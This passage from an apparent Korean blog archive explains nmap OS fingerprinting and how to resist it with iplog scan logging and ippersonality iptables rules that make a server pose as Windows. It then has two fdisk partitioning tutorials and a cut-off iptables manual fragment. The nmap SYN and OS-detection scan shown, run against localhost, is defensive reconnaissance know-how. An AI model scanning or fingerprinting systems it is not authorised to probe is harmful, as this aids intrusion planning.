    Nmap run completed -- 1 IP address (1 host up) scanned in 16.859 seconds
    --------------------------------------------------------------

    위에서 보는 것처럼 nmap의 뛰어난 기능으로 어느 OS를 사용하는지 쉽게 알 수 있다.

    이러한 nmap의 OS를 알아내는 기능은 7단계(T1~T7)를 거치게 된다.
    T1 단계에서 열린 포트로 SYN 패킷을 보내고, T2에서 열린 포트로 null 패킷 전송,
    T3에서 열린 포트로 SYN, FIN, URG, PSH 패킷을 전송
    T5 부터는 닫혀진 포트로 비슷한 과정을 거치게 된다.

    자~ 이제 nmap OS fingerprinting을 막는 방법을 알아보자.

    1. iplog 툴

    iplog는 포트 스캐닝으 로깅하는 툴이다. TCP 포트, UDP 포트 스캐닝, TCP null 스캔, FIN 스캔,
    smurf 공격, Xmas 스캔, ping 플러딩, IP fragment 공격 등을 감지할 수 있다.
    procmisc 모드를 지원하여 같은 서브넷으로 들어오는 스캐닝을 감지할 수 있다.
    또한 OS 정보를 숨기기한 목적으로도 사용할 수 있다.

    1) 설치

    http://ojnk.sourceforge.net/ 에서 iplog-2.2.3.tar.gz 을 받아온다.

    --------------------------------------------------------------
    # tar xvfz iplog-2.2.3.tar.gz
    # cd iplog-2.2.3
    # ./configure
    # make
    # make install
    # cp example-iplog.conf /etc/iplog.conf
    --------------------------------------------------------------

    iplog.conf에서 다음 2가지를 수정한다.

    --------------------------------------------------------------
    user nobody          # default는 iplog 사용자로 실행함
    pid-file /var/run/iplog.pid  # default는 /var/run/iplog/iplog.pid 임
    --------------------------------------------------------------

    소스 설치가 귀찮은 분 중
    레드햇 사용자는
    http://www.rpmfind.net/ 에서 iplog-2.2.3-fr2.i386.rpm 받아 설치한다.

    FreeBSD 사용자는 포트 시스템을 이용해서 설치한다.
    실행 파일은 /usr/local/sbin에, 설정파일은 /usr/local/etc에 설치된다.

    --------------------------------------------------------------
    # cd /usr/ports/net/iplog/
    # make install
    # make clean
    --------------------------------------------------------------

    '포트시스템이 뭐에요?' 하는 분은 최준호님이 쓴 글을 참고하기 바란다.
    http://www.bsdnet.co.kr/articles/article.qsp?no=14

    2) 실행

    --------------------------------------------------------------
    # iplog -o -z -i lo (테스트를 위해 lo interface를 지정함)
    --------------------------------------------------------------

    -o 등의 옵션의 의미는 nmap 테스트 후에 알아본다.

    --------------------------------------------------------------
    # nmap -sS -O localhost

    Starting nmap 3.45 (
    http://www.insecure.org/nmap/ ) at 2003-10-29 23:37 KST
    Insufficient responses for TCP sequencing (2), OS detection may be less accurate
    Insufficient responses for TCP sequencing (3), OS detection may be less accurate
    Interesting ports on truefeel (127.0.0.1):
    (The 1651 ports scanned but not shown below are in state: closed)
    PORT   STATE SERVICE
    25/tcp  open smtp
    80/tcp  open http
    ... 중략 ...
    No exact OS matches for host (If you know what OS is running on it, see
    http://www.insecure.org/cgi-bin/nmap-submit.cgi).
    TCP/IP fingerprint:
    SInfo(V=3.45%P=i686-pc-linux-gnu%D=10/29%Time=3F9FD0B9%O=25%C=1)
    T1(Resp=Y%DF=Y%W=7FFF%ACK=S++%Flags=AS%Ops=MNNTNW)
    T2(Resp=Y%DF=Y%W=100%ACK=O%Flags=BAPRSF%Ops=)
    T2(Resp=Y%DF=N%W=0%ACK=O%Flags=BARS%Ops=)
    T2(Resp=Y%DF=Y%W=100%ACK=O%Flags=BPRF%Ops=)
    T3(Resp=Y%DF=Y%W=7FFF%ACK=S++%Flags=AS%Ops=MNNTNW)
    T4(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)
    T5(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)
    T6(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)
    T7(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)
    PU(Resp=N)


    Uptime 0.303 days (since Wed Oct 29 16:21:04 2003)

    Nmap run completed -- 1 IP address (1 host up) scanned in 21.301 seconds
    --------------------------------------------------------------

    nmap은 T1~T7까지 OS 탐지 테스트 과정을 거쳤지만 OS 종류는 알아내지 못했음을 확인했다.
    그럼 도대체 스캐닝 로그는 어디에 있는건가? /etc/iplog.conf 설정에 따라 /var/log/iplog에 저장된다.

    --------------------------------------------------------------
    ... 생략 ...
    Oct 29 23:37:09 ICMP: echo from truefeel (127.0.0.1) (8 bytes)
    Oct 29 23:37:09 TCP: port 5901 connection attempt from truefeel (127.0.0.1):49574
    Oct 29 23:37:09 TCP: port 516 connection attempt from truefeel (127.0.0.1):49574
    Oct 29 23:37:09 TCP: port 657 connection attempt from truefeel (127.0.0.1):49574
    Oct 29 23:37:09 TCP: port 32 connection attempt from truefeel (127.0.0.1):49574
    Oct 29 23:37:09 TCP: port 2044 connection attempt from truefeel (127.0.0.1):49574
    Oct 29 23:37:09 TCP: port 737 connection attempt from truefeel (127.0.0.1):49574
    Oct 29 23:37:09 TCP: pop2 connection attempt from truefeel (127.0.0.1):49574
    Oct 29 23:37:09 TCP: port 872 connection attempt from truefeel (127.0.0.1):49574
    Oct 29 23:37:09 TCP: port 670 connection attempt from truefeel (127.0.0.1):49574
    Oct 29 23:37:09 TCP: SYN scan detected [ports 5901,516,657,32,2044,737,109,872,670,374,...] from
    truefeel (127.0.0.1) [port 49574]
    Oct 29 23:37:12 TCP: Bogus TCP flags set by truefeel (127.0.0.1):49581 (dest port 25)
    Oct 29 23:37:14 TCP: ipp connection attempt from truefeel (127.0.0.1):40509
    ... 생략 ...
    --------------------------------------------------------------

    3) 옵션과 설정은?

    -o : 백그라운드로 실행하지 않는다. (기본 백그라운드)
    -z : 이게 바로 핵심이다. nmap로 OS 정보 알아내는 것을 막는다.
    -L : log를 화면으로 출력한다.
    -i : interface를 지정한다. (기본 eth0)
    -u : iplog 실행 사용자 또는 UID를 지정한다. (기본 nobody)
    -g : iplog 실행 그룹명 또는 GID를 지정한다. (기본 nobody)
    -l : 로그파일을 지정한다. (기본 /var/log/iplog)
    -a : promisc 모드로 전환하여 지정한 네트워크 내의 스캐닝을 로깅한다. (예. -a 192.168.123.0/24)
    -k : iplog 프로세스를 kill한다. 백그라운드, 포그라운드 실행중인 것과 상관없이 kill.
    -R : iplog를 재실행한다.

    이 많은 옵션을 어떻게 사용하면 좋을까?

    화면으로 모니터링한다면

    # iplog -o -z -L

    파일로 로깅을 한다면 (부팅시 실행되도록 하려면 /etc/rc.d/rc.local 등에 추가)

    # iplog -z

    /etc/iplog.conf 설정 파일에서는 옵션으로 사용할 것을 미리 지정해 둘 수 있다.
    실행 사용자, interface, 감지에서 제외할 포트 등

    2. iptables 이용하는 방법

    iptables를 이용하는 방법이 있으나 커널 패치+iptables 패치를 해야하는 과정이 필요하며
    커널 2.4.19 이후의 버전에 대해서는 더이상의 발표도 있지 않아 간단하게 설명한다.

    http://ippersonality.sourceforge.net/ 에서 ippersonality-20020819-2.4.19.tar.gz 를
    받아 커널과 iptables 각각 패치를 한 후 컴파일을 한다.

    ippersonality-20020819-2.4.19/samples 디렉토리에는 OS를 속이기 위한 총 10개의 파일이 있다.
    AmigaOS, Dreamcast, FreeBSD, Linux 2.0x, Linux 2.2, MacOS 9, Solaris 8, Tru64 UNIX,
    Win Me 또는 Win 2000, Win 9x 이렇게 10개.

    Windows를 사용하는 것 처럼 속이려면 어떻게 해야 하는가?

    패치된 iptables를 이용해서

    --------------------------------------------------------------
    # insmod ipt_PERS (모듈을 로딩, 커널 컴파일시에 CONFIG_IP_NF_PERS=m로 했을 때)
    # /usr/local/sbin/iptables -t mangle -A PREROUTING -s ! 서버IP -d 서버IP -j PERS --tweak dst --local --conf win2k.conf
    # /usr/local/sbin/iptables -t mangle -A OUTPUT   -s 서버IP -d ! 서버IP -j PERS --tweak src --local --conf win2k.conf
    --------------------------------------------------------------

    3. 참고 자료

    * A practical approach for defeating Nmap OS-Fingerprinting
     
    http://coffeenix.net/doc/security/nmap_os_fingerprinting.html
    * IP Personality 프로젝트
     
    http://ippersonality.sourceforge.net/
    * iplog
     
    http://ojnk.sourceforge.net/
    * nmap 3.45의 새기능, 버전 스캐닝 (글 좋은진호)
     
    http://coffeenix.net/board_view.php?bd_code=71
    2006/09/08 22:29 2006/09/08 22:29
    이 글에는 트랙백을 보낼 수 없습니다

    fdisk 와 cfdisk 사용하기

    루트 디스크를 사용한 다음 첫번째 설치 단계는 하드디스크에 대한 파티션 테이블을 작성하는 것이다. 앞에서 파티션을 나누기 위해 FDISK를 사용했다 하더라도 이제 다시 파티션 테이블 작성으로 되돌아와 리눅스가 알아듣는 정보를 넣어주어야 한다.

    리눅스 파티션을 만들기 위해서 리눅스 버전의 fdisk 프로그램 또는 화면 중심의 cfdisk 프로그램을 이용해야 한다.

    일반적으로 설치 프로그램은 이미 존재하는 파티션 테이블을 찾아서 그걸 바탕으로 fdisk 또는 cfdisk를 실행시키도록 해준다. 둘 중에 cfdisk의 사용이 더 쉽다. 그러나 현재 버전은 파티션 테이블이 존재하지 않거나 잘못된 것이면 사용하기가 어렵다.

    (특히 어떤 오퍼레이팅 시스템도 설치되어 있지않은 처녀 시스템의 경우) cfdisk를 사용할 수 있는 상태로 만들기 위해 먼저 fdisk를 실행시킬 필요가 있는 경우가 있다. 먼저 cfdisk를 실행시켜보고 안되면 fdisk를 사용하기 바란다. (여러분의 컴퓨터에 리눅스만을 설치할 계획인데 cfdisk를 사용할 수 없다면, 먼저 fdisk를 실행시켜 존재하는 파티션을 모두 지워버린 후에 cfdisk를 실행시켜 파티션 테이블을 작성하는 것도 좋은 방법이다.)

    fdisk 와 cfdisk 모두에 적용되는 몇가지 주의사항. 둘다 리눅스 파티션을 만들 드라이브의 이름을 지정해줄 변수를 필요로한다. 하드 드라이브의 장치 이름은:

    /dev/hda First IDE drive

    /dev/hdb Second IDE drive

    /dev/sda First SCSI drive

    /dev/sdb Second SCSI drive

    예를 들어, 첫번째 SCSI 드라이브에 리눅스 파티션을 만들려고 한다면 아래의 명령을 사용해야 할 것이다 (어떤 설치 프로그램은 메뉴를 선택하는 것일 수도 있다) :

    cfdisk /dev/sda

    fdisk 또는 cfdisk에 아무런 변수 지정 없이 사용한다면 /dev/hda 에 리눅스 파티션을 만드는 것으로 여길 것이다.

    시스템의 두 번째 드라이브에 리눅스 파티션을 만들고자 하면 /dev/hdb (IDE 드라이브의 경우) 또는 /dev/sdb (SCSI 드라이브의 경우) 라고 입력한다.

    리눅스 파티션이 모두 하나의 드라이브에 있을 필요는 없다. 예를 들어, 루트 파일시스템을 위한 파티션은 /dev/hda 에, 스왑 파티션은 /dev/hdb 에 만들 수 있다. 그렇게 하려면 각각의 드라이브에 대하여 fdisk 또는 cfdisk를 한번씩 실행시키면 된다.

    리눅스에서 파티션들은 그들이 속해 있는 드라이브를 바탕으로 한 이름이 주어진다. 예를 들어 드라이브 /dev/hda의 첫 번째 파티션은 /dev/hda1, 두 번째는 /dev/hda2 ... 등으로 이름이 주어진다. 만약 어떠한 로지컬 파티션을 가진다면 그것들은 /dev/hda5에서 시작하여 /dev/hda6 등의 순서로 이름이 붙여진다.

    NOTE: 리눅스 fdisk 또는 cfdisk로는 리눅스외의 오퍼레이팅 시스템을 위한 파티션을 만들거나 지우면 안된다. 즉, 리눅스 버전의 fdisk를 사용하여 MS-DOS 파티션을 만들거나 지우지 말라. 대신에 MS-DOS 버전의 FDISK를 사용하기 바란다. 리눅스 fdisk 로 MS-DOS 파티션을 만들려고 한다면 아마 MS-DOS는 그 파티션을 인식하지 못할 것이고 부팅이 올바로 되지 않을 것이다.

    여기에 fdisk 사용의 예가 있다. 드라이브에 61693 블록을 사용하는 하나의 MS-DOS 파티션을 가지고 있고 드라이브의 그 나머지는 리눅스를 위하여 남겨둔 것이다. (리눅스하에서 1블럭은 1024바이트, 그러므로 61693블럭은 대략 61메가 바이트) 두 개의 리눅스 파티션을 만들려 한다고 하자. 하나는 스왑, 다른 하나는 루트 파일시스템을 위한 것이다. 이 예를 응용하면 저 위에서 추천한 네개의 파티션 만들기를 할 수 있을 것이다: 하나는 스왑, 하나는 루트 파일시스템, 하나는 시스템 소프트웨어 (/usr), 나머지 하나는 홈 디렉토리.

    먼저, 현재 파티션 테이블을 표시하기 위해 명령어 "p"를 사용한다. 보다시피, /dev/hda1은 (/dev/hda의 첫 번째 파티션) 61693블럭의 도스 파티션이다.

    Command (m for help): p

    Disk /dev/hda: 16heads, 38 secrors, 683 cylinders

    Units = cylinders of 608 * 512 bytes

    Device Boot Begin Start End Blocks Id System

    /dev/hda1 * 1 1 203 61693 6 DOS 16-bit >=32M

    Command (m for help):

    그 다음에 명령어 "n"을 사용하면 새로운 파티션을 생성시킬 수 있다. 리눅스 루트 파티션의 크기를 80 메가로 할 것이다.

    Command (m for help): n

    Command action

    e extended

    p primary partition (1-4)

    p

    extended 혹은 primary 파티션을 생성할 것인지 물어볼 것이다. 대부분의 경우. 한 개의 드라이브에 네 개이상의 파티션을 팔요로 하지 않는다면 primary 파티션을 사용하려 할 것이다. 더 자세한 것은 저 위의 "Repartitioning" 절을 참고하기 바란다.

    Partition number (1-4): 2

    First cylinder (204-683): 204

    Last cylinder or +size or +sizeM or +sizeK (204-683): +80M

    첫 번째 실린더는 마지막 파티션이 끝난 뒤의 실린더가 되어야 한다. 이 경우에 /dev/hda1은 실린더 203에서 끝났다. 그래서 실린더 204에서 새로운 파티션이 시작된다.

    보다시피, "+80M" 이라고 표기를 한다면 그것은 크기가 80메가인 파티션을 규정하는 것이다. 유사하게, "+80K" 라는 표기는 80킬로바이트 파티션을 규정한다. 그리고 "+80"은 단지 80바이트 파티션을 규정한다.

    Warning: Linux cannot currently use 33090 sectors of this partition

    여러분이 위와 같은 경고문을 보게 된다면 무시해도 좋다. 리눅스 파일시스템의 크기가 64 메가 이상일 수 없었던 오래전의 한계에서부터 연유된것일 뿐이다. 오늘날의 파일시스템 타입에 적용되는 것이 아니다. 오늘날 파티션들의 크기는 4테라바이트까지 가능하다.

    다음엔 10메가 스왑 파티션, /dev/hda3 을 생성한다.

    Command (m for help): n

    Command action

    e extended

    p primary partition (1-4)

    p

    partition number (1-4): 3

    First cylinder (474-683): 474

    Last cylinder or +size or +sizeM or +sizeK (474-683): +10M

    다시 한번, 파티션 테이블의 내용을 표시한다. 여기에 있는 정보를 기록하여 확인하기 바란다. 특히 각 파티션의 크기가 몇 block 인지를 확인한다. 나중에 이 정보가 필요하다.

    Command (m for help): p

    Disk /dev/hda: 16 heads, 38 sectors, 683 cylinders

    Units = cylinders of 608 * 512 bytes

    Device Boot Begin Start End Blocks Id System

    /dev/hda1 * 1 1 203 61693 6 DOS 16-bit >=32M

    /dev/hda2 204 204 473 82080 83 Linux native

    /dev/hda3 474 474 507 10336 83 Linux native

    리눅스 스왑 파티션은 (여기에서는 /dev/hda3) "Linux native" 라는 타입을 갖고 있다는 것에 주의해라. 이를 "Linux swap" 이라는 타입명으로 바꾸어야 하며 그렇게 하므로서 설치 프로그램이 스왑 파티션의 타입을 "Linux swap"으로 인식하도록 해야한다. 그렇게 하기위해 fdisk 에 "t" 라는 명령어를 사용하도록 한다.

    Command (m for help): t

    Partition number (1-4): 3

    Hex code (type L to list codes): 82

    "L"을 사용한다면 타입 코드 목록을 보여줄 것이고, 82가 리눅스 스왑과 일치하는 타입이라는 것을 알 수 있을 것이다.

    파티션 테이블의 변경 사항을 저장하고 fdisk를 빠져나오려면 명령어 "w", 저장하지않고 그만두려면 "q"를 사용한다.

    fdisk를 끝낸후에 바뀐 것이 효력을 발휘하도록 시스템이 여러분에게 재부팅 할건지 확인할지도 모른다. 일반적으로 fdisk를 사용한 후엔 재부팅할 이유가 없다. 요즘의 fdisk 와 cfdisk 버전은 재부팅하지 않고서도 바뀐 파티션 내용을 충분히 갱신할 수 있다



    ---------------------------------------------------------------------------------------


    출처 카페 > 리눅스 웹마스터 키우기 / 리눅서
    원본 http://cafe.naver.com/k2linux/39

    리눅스 설치시 전문가용으로 fdisk 라는 파티션 프로그램을 볼 수 있다. 이 프로그램은 디스크 드루이드(Disk Druid)보다 더 세밀한 파티션 설정이 가능하다는 면에서 아주 유용하다. 특히 리눅스를 여러개 설치할 때에나 두 번째 이후의 파티션에 설치할 때에 Primary 파티션을 여러개 두고 싶다면 fdisk를 사용해야 한다. 그러면, 이 프로그램에 대한 사용법에 대해서 알아보도록 한다.


    1. fdisk의 시작

    fdisk를 이용해 새로운 파티션의 생성, 기존 파티션의 삭제, 파티션의 타입 결정 등의 작업을 수행할 수 있다. 그런데, 래드헷 계열의 배포판은 설치시 대부분 Disk Druid 유틸리티를 이용해서 파티션을 분할한다. 그렇지만, 전통적으로 fdisk를 사용하며 이것은 디스크 드루이드보다 유연하기 때문에 아직도 설치시에 이 프로그램을 사용한다.

    fdisk 프로그램은 한번에 한 디스크에 대해서만 작업을 수행한다. fdisk는 명령어 프롬프트 중심의 매우 간단한 인터페이스를 가지고 있다. 그러면 fdisk를 실행해 보자.

    # fdisk [Hard disk device]


    fdisk를 실행하기 위해서는 어떠한 디스크의 파티션을 나눌 것인지 알려 주어야 한다. 즉 하나의 컴퓨터에 여러 개의 하드디스크가 설치될 수 있으므로 어떤 하드디스크의 파티션을 변경할 것인지 알려 주어야 한다.

    fdisk /dev/hda를 실행하면 (파티션을 생성/삭제할 하드디스크가 IDE1의 마스터 드라이브일 경우) 다음과 같은 화면을 볼 수 있다.

    # fdisk /dev/hda



    그러면 다음과 같은 도입 화면이 나올 것이다.


    fdisk는 독자적인 명령어를 가지고 있다. 도움말을 원한다면 간단하게 m 명령어를 통해 얻을 수 있다. 그리고, 이 정보만 보고서도 충분히 파티션을 할 수 있을 것이다. 다음은 이 명령을 사용했을 때 나오는 명령에 대한 해설이다.

    명 령

    기 능

    a부트 가능한 플래그로 변경
    bbsd 디스크 레이블을 편집
    c도스 호환 플래그로 변경
    d파티션 삭제
    l알려진 파티션 형태의 목록
    m이 메뉴를 출력
    n새로운 파티션 추가
    o새로운 도스 파티션 테이블을 생성
    p파티션 테이블을 출력
    q변경을 저장하지 않고 종료
    s새로운 Sun 디스크 레이블을 생성
    t파티션의 시스템 id를 변경
    u표시/엔트리 단위를 변경
    v파티션 테이블을 점검
    w디스크에 테이블을 기록하고 빠져나감


    2. fdisk 명령어

    다음은 fdisk 명령어에 대한 것들을 알아보자. 일단 많이 사용되는 명령어부터 해서 각각의 명령어들의 사용법에 대해서 알아보도록 한다.

    • m - 도움말

      이 명령어를 입력하면 fdisk는 Command(m for help): 라는 프롬프트를 보여주며 명령을 기다린다. m을 입력하면 다음과 같은 도움말을 볼 수 있다. 명령어를 전체적으로 외우기가 그렇게 쉬운 일만은 아니므로 이 명령어를 자주 사용하게 될 것이다.


    • p - 파티션 현황

      선택한 디스크에 있는 기존의 파티션 현황을 보기 위해서는 p를 입력하면 된다. 만약 기존에 파티션이 있고 파티션을 새로 만들어야 한다거나 만들어야 할 파티션이 많은 경우에 파티션 상태를 확인하는데 사용된다. 만약 기존의 모든 파티션을 하나씩 없애고 싶다면 d 명령어와 함께 제거하고자 하는 파티션의 번호를 입력하면 된다.


    • n - 파티션 생성

      새로운 파티션을 만들려면 n 명령어를 사용한다. 파티션 생성을 위해 우선 다음과 같이 n을 입력한다.

      Command (m for help): n

      다음에 나오는 선택 사항에서 우선 Primary 파티션을 만들어야 하므로 p를 입력한다. 4개 이상의 파티션을 만들고 싶을 경우에만 확장 파티션이 필요하다.

      Command action
        e extended
        p primary partition ( 1-4 )

      그 다음 프롬프트에서는 파티션 번호를 선택한다.

      Partition number ( 1-4 ) : 1

      첫 번째 파티션 이라면 1을, 두 번째는 2를 입력한다. 다음에는 파티션의 시작 블록 번호를 입력해야 한다. 괄호 안에 있는 숫자는 파티션에 사용할 수 있는 블록의 범위이다. 이번 파티션이 첫 번째 파티션이면 1을 시작 블록으로 한다.

      First cylinder ( 1-1024 ) : 1

      크기가 80Mbyte 인 파티션을 만들고 싶으면 바이트, 킬로바이트, 메가바이트로 크기를 지정할 수 있다.

      Last cylinder or +size or +sizeM or + sizeK ([1]-1024): +80M

      파티션이 잘 만들어 졌는지 확인을 해야 한다. 파티션 정보를 보려면 명령어 p를 사용한다.

      앞서 extended 파티션은 도스와는 조금 다르게 FDISK와 같이 4개 이상의 파티션을 만들기 위해 사용된다. 도스에서는 Primary 이외의 파티션을 모두 extended에 두지만 리눅스에서는 4번째 파티션을 extended로 잡고 아래에 다시 4개의 파티션을 만들 수 있다. 파티션 번호는 extended 파티션 번호 다음 번호부터 다시 잡힌다.

    • a - 부트 파티션 지정

      알맞게 파티션을 나눈 후에 부트파티션을 지정해 주어야 한다. 대부분 첫 번째 Primary 파티션을 부트파티션으로 잡는다. 프롬프트에서 다음과 같이 입력한다.

      Command(m for help) : a
      Partition number (1-6) : 1

    • d - 삭제

      삭제해야 할 파티션이 있다면 d 명령을 사용하여 삭제할 수 있다. 다음과 같이

      Command (m for help): d
      Partition number (1-8): [파티션 번호]

    • t 파티션의 시스템 id를 변경

      만들어진 파티션의 시스템 id는 기본적으로 83번으로 Linux 파티션이다. 그렇지만, 경우에 따라서 Dos 파티션을 만들어야 하는 경우도 있고 swap 파티션을 만들어야 하는 경우도 있다. 이 경우에 시스템 id를 변경해 주기 위해서 t 명령어를 사용한다. 다음은 t 명령어를 사용해서 83번으로 되어 있던 시스템 id를 82번으로 바꾼 예제이다.


    • l - 알려진 파티션 형태의 목록

      앞서 t 명령어를 사용할 때 시스템 id의 정보를 알아보기 위해서는 l 명령어를 사용한다.


    • w - 저장 후 종료

      일련의 작업이 끝난 후 실제로 반영시키기 위해서 w명령으로 변경 내용을 저장한 후 종료한다. 만약 새로 파티션을 생성하는 경우라면 재부팅을 해야 새로운 파티션이 인식이 된다. 그러므로, 포맷을 하기 위해서는 컴퓨터를 재부팅한다.


    • q - 저장하지 않고 종료

      실수로 파티션을 삭제하거나 잘못 설정한 경우에는 q 명령으로 변경 내용을 반영하지 않고 종료하거나 Ctrl + C키를 눌러 강제 종료 시켜야 한다.

      다음과 같이 q 명령을 내리면 그대로 fdisk가 종료된다.

      Command (m for help): q

    • b - bsd 디스크 레이블을 편집

      만약 컴퓨터가 알파 시스템이라면 bsd 디스크 레이블로 파티션을 편집해야 할 수도 있다. 이 경우에 b 명령어로 그렇게 할 수 있도록 환경을 변경해 주어야 한다. 이후의 파티션을 잡는 방식은 앞서와 같다.


    [파티션 복구]


    리눅스의 fdisk는 Windows 시스템의 fdisk와 달리 잘못 사용한 경우에 복구가 가능하다. 우선 이전의 실린더 숫자를 적어 두고 파티션을 나눈다. 그러면, 파티션을 잘못하고 저장한 경우 다른 시스템에 연결하여 실린더를 맞추어 이전의 것을 복구할 수 있다. 이것은 보안을 위해서도 사용될 수 있는데, 하드디스크의 실린더 숫자를 적어 놓고 파티션을 다르게 해버리면 파일시스템을 제대로 사용할 수 없게 된다. 이렇게 실린더 숫자를 적어 두는 것은 불시의 사고에 대비하는 방법이기도 한데, 만약 fdisk를 하면서 실수로 잘못 저장한 경우에 이전의 실린더 번호대로 복구하면 이전 상태 그대로 된다.


    3. 파티션 요령과 fdisk 사용

    fdisk를 이용해서 서버로 사용될 시스템의 파티션을 나눠 보도록 하자. 하드 디스크를 분할하는 것에는 일정한 공식은 없지만, 각각의 파일시스템에 사용될 파티션은 하드 디스크의 퍼센트보다는 각각의 사용 용량에 따라서 나눠 준다.

    다음은 파일시스템에 따른 파티션 용량이다.

    • / - 300메가. 만약 위와 같이 각각을 모두 나눠서 파티션 한다면 /는 큰 용량이 필요 없다. 만약 하나의 세 개의 파티션으로 나눠야 한다면 /home, /, swap으로 나눠 주는 것이 좋다. 그리고, 이 경우라면 이 파티션은 약 3기가 정도의 크기여야 한다. 그리고, 이 경우에 /home 파티션은 크면 클수록 좋다.
    • /boot - 50메가. 50~60메가 정도로 잡는다. 아주 넉넉하게 100메가로 잡아도 상관 없다.
    • /var - 2기가. 서버로 사용하는 경우 메일 서버의 스풀과 메일 박스가 있는 장소로 충분히 크게 잡으면 좋다. 만약 이것이 없다면 300~500메가로 정도로 잡아도 상관 없고 파티션을 나누지 않아도 무관하다. 그렇지만 개인적으로 메일 서버롤 돌려야 하는 상황이라면 메일 박스를 홈디랙토리로 옮겨서 잡아주는 방법도 있다.
    • /usr - 2기가 이상. 이곳에는 온갖 잡다한 것들이 다 들어 간다. 처음 설치시 시스템에서 가장 많은 용량을 차지하는 곳이고 이후에 프로그램 설치시 이곳에 저장이 된다. 말하자면 윈도우즈 시스템의 Program Files 디랙토리와 windows 디랙토리의 일부를 합쳐 둔 것과 비슷하다. 사실 2기가로도 부족한 면이 있지만 많은 프로그램들을 운영할 계획이 없다면 이정도면 괜찮다. 만약 하드 디스크를 다시 분할하기 어렵고 각각의 파티션이 1.6기가 정도라면 /, /usr/share 정도로 나눠주면 된다. 처음 설치시 /usr/share의 용량은 상당히 크기 때문이다. 이후에 이것을 적당히 다시 조정할 수도 있을 것이다.
    • /tmp - 500메가. 이 부분은 X Window 같은 프로그램이 돌아가거나 윈도우즈의 temp와 같은 역할을 위한 작업을 하기 위한 공간으로 사용됩니다. 따라서 이정도는 필요할 것입니다.
    • swap - 물리적 메모리의 두배 정도면 충분하다. 물리적 메모리를 넉넉하게 하는 것이 컴퓨터를 사용하는데 좋다.
    • /home - 나머지 용량의 모두를 잡는다, 홈파티션이 생각보다 많이 필요하다. 특히, 시스템이 데스크탑용이거나 사용자가 많은 서버의 경우에는 절대적으로 많은 용량이 필요할 것이다.

    이외에 자신의 필요에 따라 백업용 파티션을 나누거나 일정한 파티션에 백업용 공간을 둘 수 있을 겁니다.

    위와 같이 나누면 되지만 일단 /, /usr, /home, swap, /boot 정도로 파티션을 나눠본다.

    우선 /boot를 만든다. 이곳에는 시스템 부트에 관계되는 파일들이 있게 된다. 따라서, 이 부분은 가장 앞부분에 위치하도록 하는 것이 좋다. 만약 시스템에 윈도우즈 시스템에 있고 /boot가 1024 실린더 다음에 위치하게 되는 경우라면 이 파티션을 먼저 앞에 잡아 두고 다음에 윈도우즈용 파티션을 잡아 두는 것이 무리가 없다. 물론 lba32 옵션으로 lilo를 MBR에 설치할 수는 있지만 이것보다는 /boot 파티션을 앞에 잡아 두는 것이 더 편하다.

    다음은 n 명령어로 파티션을 생성하는 것이다. 먼저 n 명령을 내린 다음, p로 primary 파티션으로 지정하고 파티션 번호를 지정한다. 이후에 시작 실린더 번호를 지정하고 마지막 실린더를 지정하거나 크기를 지정하면 된다.


    다음에는 /, /usr, /home. swap를 위한 파티션을 차례로 잡아준다. swap의 경우에는 반드시 t 명령으로 시스템 id를 82번 swap으로 바꿔 주어야 한다.

    다음은 /를 위한 두번째 파티션으로 300M를 잡아주는 모습이다.


    다음은 /usr을 위한 파티션으로 2500M를 잡아주는 모습이다.


    다음은 확장 파티션을 잡는 모습이다.


    다음은 확장 파티션 아래에 swap 파티션으로 500M를 잡고 /home 파티션으로 남은 모든 공간을 잡은 모습이다.


    다음은 p 명령어로 파티션 현황을 확인한 모습이다.


    다음은 마지막으로 swap 파티션의 시스템 id를 82번으로 변경한 모습이다.


    만약 윈도우즈 시스템이 있다면 swap 파티션을 윈도우즈 시스템과의 중간에 두거나 윈도우즈 시스템과 약간의 간격을 두고 파티션을 해주는 것이 안전하다. 파티션을 할 때 주의할 점의 하나는 윈도우즈 시스템의 FDISK에서 확장 파티션으로 잡은 도스용 파티션에 리눅스를 설치하지 말라는 것이다. 이 경우에 윈도우즈에서 리눅스 파티션이 보이면서 제대로 읽지 못해 시스템에 문제가 생길 수 있다.

    파티션 편집이 모두 끝났다면 w 명령으로 설정을 저장하고 fdisk를 종료한다.


    2006/09/08 22:28 2006/09/08 22:28
    이 글에는 트랙백을 보낼 수 없습니다
    --tcp-flags
    '!' 옵션을 사용한다면 이것 뒤에 두개의 단어를 사용한다. 첫번째 것은 검사하고자 하는 지시자 리스트의 마스크이다. 두번째 단어는 지시자에게 어떤것이 설정 될 것인지를 말해준다. 예를들어,

    # iptables -A INPUT -s 192.168.1.1 --protocol tcp --tcp-flags SYN,RST,ACK,SYN -j DENY
    192.168.1.1로 부터 tcp방식에 의한 접속 차단

    --syn
    이것은 '--tcp-flags SYN,RST,ACK,SYN'의 약어이다.

    # iptables -A INPUT -p TCP -s 192.168.1.1 --syn -j DENY

    --source-port or --sport
    Source 포트

    --destination-port or --dport
    도착지 포트

    *****UDP 확장
    이 확장은 '--protocol udp'가 지정되고 적용이 저정되지 않으면 자동으로 적재된다. 이것은 '--source-port', '--sport', '--destination-port', '-dport'를 지원하고 내용은 TCP 설명에서 자세히 나왔다.

    *****새로운 타겟

    타겟의 다른 형태는 확장이다. 타겟 확장은 커널 모듈로 구성된다. 그리고 iptables 에 대한 선택적 확장은 새로운 명령행의 옵션을 제공한다. 기본적으로 넷필터 배포에 포함된 몇몇의 확장은 다음과 같다.

    LOG
    일치하는 패킷의 커널 로그를 제공한다. 이것은 부가의 옵션을 제공한다.

    --log-level 레벨 숫자나 이름 지정
    'debug' 'info', 'notice', 'warning', 'err', 'crit', 'alert', 'emerg' 이름은 각각 숫자 7 에서 0 에 대응된다.
    --log-prefix 14자 까지의 문장을 지정

    REJECT
    이 모듈은 'DROP'과 같은 효과를 나타낸다. 다만, 'port unreachable' 이라는 에러 메세지를 ICMP 로 보낸다.

    RETURN
    RETURN은 한 체인의 끝으로 보내지는 것과 같은 효과가 있다. : 미리 만들어진 체 인의 경우 그 체인의 정책은 실행이다. 사용자 정의 체인의 경우 이 체인으로 점프 하는 규칙의 바로 다음인 이전 체인으로 이동한다.

    QUEUE
    QUEUE은 특별한 타겟으로, 사용자공간의 작업을 위해 패킷을 대기하도록 한다. 패킷 을 위해서 대기하고있는 것이 없다면(즉, 이 패킷을 다룰 프로그램이 아직 씌어져 있지 않다면) 패킷은 DROP 될 것이다.

    ***3.4 타겟 지정

